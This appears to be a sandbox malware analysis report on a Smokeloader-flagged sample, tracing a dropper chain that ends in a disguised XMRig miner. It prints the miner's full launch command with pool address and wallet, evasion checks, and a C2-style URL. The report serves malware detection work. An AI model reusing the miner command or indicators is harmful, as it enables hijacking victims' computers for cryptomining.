Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 570471
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 570328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 570182
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 570047
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 569891
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 569750
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 569594
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 569464
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 569328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 569203
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 569062
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 568922
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 568756
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 568620
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 568469
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 568328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 568198
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 568071
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567937
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567801
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567668
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567531
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567404
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567275
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567140
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567000
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 566844
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 566687
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 566553
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 566410
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 566265
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 566109
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565997
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565866
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565718
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565588
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565462
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565342
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565203
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565084
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 564946
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 564812
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 564686
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 564547
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 564406
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 564277
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 564140
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 563984
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 563844
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 563703
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 563515
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 563375
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 563250
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 563109
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 562966
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 562836
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 562656
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 562500
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 562359
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 562211
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 562079
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 561935
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 561797
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 561640
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 561493
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 561348
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 561210
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 561062
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 560930
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 560804
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 560625
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 560453
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 560305
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 560140
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 560015
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 559858
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 559727
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 559578
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 559462
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 559321
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 559163
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 559015
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 558889
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 558757
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 558594
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 558451
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 558315
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 558166
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 558015
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 557875
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 557742
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 557605
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 557471
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 557328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 557203
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 557062
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 556943
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 556811
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 556684
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 556500
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 556354
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 556219
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 556062
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 555931
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 555797
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 555686
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 555529
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 555364
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 555219
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 555085
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554984
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554874
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554765
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554656
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554547
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554437
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554218
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554109
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 554000
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 553890

Source: yondex.exe, 00000010.00000002.2078023895.00000000013C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: Driver.exe, 0000000A.00000002.2583502346.00000000005E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: Driver.exe, 0000001D.00000002.4172854345.0000000000491000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW_9
Source: Driver.exe, 00000015.00000002.3029846124.00000000005D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW$}T
Source: Driver.exe, 00000005.00000002.1804831542.0000000000485000.00000004.00000020.00020000.00000000.sdmp, Driver.exe, 0000000A.00000002.2583502346.00000000005E2000.00000004.00000020.00020000.00000000.sdmp, Driver.exe, 00000015.00000002.3029846124.00000000005D2000.00000004.00000020.00020000.00000000.sdmp, Driver.exe, 00000019.00000002.3336155249.0000000000611000.00000004.00000020.00020000.00000000.sdmp, Driver.exe, 0000001D.00000002.4172854345.0000000000491000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Driver.exe, 0000000A.00000002.2583502346.00000000005E2000.00000004.00000020.00020000.00000000.sdmp, Driver.exe, 00000019.00000002.3336155249.0000000000611000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWws\System32\en-US\wshqos.dll.mui
Source: yondex.exe, 00000004.00000002.1854091999.0000000001131000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll <;2?
Source: rolex.exe, 00000003.00000002.2047592376.000001FEA81E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Driver.exe, 00000005.00000002.1804831542.0000000000485000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWA
Source: yondex.exe, 0000000C.00000002.1975490688.0000000000A72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

Code function: 4_2_013F2E9E LdrInitializeThunk,

4_2_013F2E9E

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

Code function: 0_2_00007FF6559576D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF6559576D8

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

Code function: 0_2_00007FF655960D20 GetProcessHeap,

0_2_00007FF655960D20

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF6559576D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF6559576D8
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655953170 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF655953170
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655952510 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF655952510
Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: 0_2_00007FF655953354 SetUnhandledExceptionFilter,	0_2_00007FF655953354
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4C2510 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00007FF7AB4C2510
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4C3354 SetUnhandledExceptionFilter,	3_2_00007FF7AB4C3354
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4C3170 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF7AB4C3170
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: 3_2_00007FF7AB4C76D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00007FF7AB4C76D8

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

Code function: 0_2_00007FF65594B190 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,IsDlgButtonChecked,IsDlgButtonChecked,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetDlgItemTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,IsDlgButtonChecked,SendDlgItemMessageW,GetDlgItem,IsDlgButtonChecked,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,IsDlgButtonChecked,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF65594B190

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe rolex.exe -priverdD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe "C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 436 -p 7280 -ip 7280	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7280 -s 764	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7280 -s 764	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7440 -s 552	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 548 -p 7424 -ip 7424	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7424 -s 876	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 508 -p 1712 -ip 1712	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1712 -s 864	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Process created: C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe "C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 49P3pcAzUyQGZCctcW2i6KGBfC5noZALZ4wryTdxqn8YRbZJnB4f2ee6F7vGGFwqgQEb5QdAe3oWW72bsbnBcPetADGCrmw -p x -k -v=0 --donate-level=0 -t 2

Source: conhost.exe, 0000001E.00000002.4173447200.000002A8EB1B1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: conhost.exe, 0000001E.00000002.4173447200.000002A8EB1B1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: conhost.exe, 0000001E.00000002.4173447200.000002A8EB1B1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: conhost.exe, 0000001E.00000002.4173447200.000002A8EB1B1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

Code function: 0_2_00007FF6559658E0 cpuid

0_2_00007FF6559658E0

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		0_2_00007FF65594A2CC
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		3_2_00007FF7AB4BA2CC

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Queries volume information: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Queries volume information: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Queries volume information: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe VolumeInformation

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

Code function: 0_2_00007FF655950754 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,MapViewOfFile,UnmapViewOfFile,CloseHandle,SetEnvironmentVariableW,GetLocalTime,swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,SleepEx,DeleteObject,DeleteObject,CloseHandle,OleUninitialize,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF655950754

Source: C:\Users\user\Desktop\h2UFp4aCRq.exe

Code function: 0_2_00007FF6559351A4 GetVersionExW,

0_2_00007FF6559351A4

Source: C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\WerFault.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\WerFault.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	21 Registry Run Keys / Startup Folder	12 Process Injection	1 Disable or Modify Tools	LSASS Memory	141 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	21 Registry Run Keys / Startup Folder	41 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	12 Process Injection	NTDS	41 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Software Packing	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	36 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
h2UFp4aCRq.exe	39%	ReversingLabs	Win64.Trojan.Smokeloader
h2UFp4aCRq.exe	56%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RarSFX0\rolex.exe	14%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\RarSFX1\yondex.exe	67%	Virustotal		Browse
C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	61%	ReversingLabs	Win64.Trojan.DisguisedXMRigMiner
C:\Users\user\AppData\Roaming\Sysfiles\Driver.exe	68%	Virustotal		Browse
C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe (copy)	67%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
pool-fr.supportxmr.com	4%	Virustotal	Browse
cv99160.tw1.ru	2%	Virustotal	Browse
pool.supportxmr.com	9%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cv99160.tw1.ru/cmd.php?timeout=1	0%	Avira URL Cloud	safe
